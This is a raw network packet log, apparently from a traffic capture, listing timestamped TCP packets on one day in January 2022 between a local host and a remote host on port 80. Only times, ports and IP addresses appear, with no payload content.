Jan 14, 2022 12:30:15.202325106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202419996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202523947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202629089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202723026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202828884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.202922106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203027010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203116894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203226089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203315973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203423023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203515053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203619003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203710079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203814030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.203908920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204088926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204206944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204324007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204433918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204551935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204643965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204750061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204840899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.204943895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205039024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205146074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205241919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205357075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205693007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205809116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.205903053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206005096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206090927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206244946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206388950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206481934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.206569910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.214446068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.214591026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.214687109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.214694023 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.214713097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.214725018 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.214737892 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.214962959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215027094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215130091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215246916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215317965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.215343952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215446949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215598106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215692043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215790987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215878010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.215969086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216058969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216150999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216281891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216377020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216468096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216588974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216677904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216772079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216864109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.216957092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.217048883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.217144966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.217350006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.217464924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.217559099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.231221914 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.231251955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.231266022 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.245908022 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.245934010 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.250986099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251209974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251302958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251390934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251477003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251564980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251652956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251737118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251827955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.251909971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252000093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252083063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252165079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252262115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252351046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252441883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252522945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252607107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252693892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252779961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252862930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.252945900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253031969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253118992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253211975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253295898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253382921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253465891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253555059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253639936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253725052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253808975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253895044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.253981113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254065990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254148960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254286051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254369974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254460096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254550934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254635096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254719019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254806995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254892111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.254976988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255062103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255150080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255300999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255398035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255481005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255574942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255669117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255773067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255861998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.255944967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256031990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256117105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256211996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256299973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256383896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256469011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256556034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256659985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256752968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256840944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.256946087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257033110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257119894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257250071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257344961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257438898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257807016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.257965088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258053064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258162022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258261919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258352041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258444071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258538961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258631945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258724928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258825064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.258910894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259020090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259133101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259248972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259336948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259421110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259511948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259618044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259711981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259804964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259893894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.259985924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260078907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260171890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260348082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260441065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260559082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260699987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260809898 CET	49919	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260824919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.260983944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.267060041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.267087936 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.267110109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.269401073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.269426107 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.269450903 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.275212049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.275528908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.275544882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.275775909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.275789022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276011944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276024103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276304960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276318073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276401997 CET	49920	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276534081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276546001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276664972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276844025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.276856899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277019978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277040005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277123928 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.277156115 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.277168989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277183056 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.277602911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277630091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277781963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277795076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277957916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.277971029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278132915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278145075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278321028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278337955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278496981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278516054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278670073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278685093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278847933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.278862953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.279036045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.279051065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.279423952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280069113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280281067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280298948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280441046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280455112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280606031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280621052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280771971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280787945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280935049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.280951023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281092882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281105995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281305075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281321049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281467915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281482935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281630993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281646013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281795979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281810999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281963110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.281976938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282125950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282139063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282330036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282345057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282490969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282522917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282680988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282694101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282860994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.282870054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283040047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283051968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283298016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283318043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283483982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283499956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283663034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283682108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283843040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.283857107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284020901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284038067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284214020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284229994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284389019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284404039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284527063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284661055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284674883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284838915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.284853935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.285016060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.285032988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.285202026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.285214901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.285393953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.293875933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.296025991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296240091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296248913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296417952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296426058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296596050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296603918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296768904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296777010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296946049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.296953917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297122955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297131062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297353983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297420979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297585011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297593117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297774076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297780991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297960997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.297969103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298146009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298154116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298325062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298455954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298465014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298645020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298654079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298830986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.298840046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.299015045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.299022913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.313617945 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.313657045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.313658953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.313843966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.313869953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314029932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314042091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314223051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314229012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314241886 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.314402103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314414978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314449072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.314476967 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.314512968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314718962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314727068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314762115 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.314790010 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.314821959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.314965010 CET	80	49914	185.215.113.35	192.168.2.4
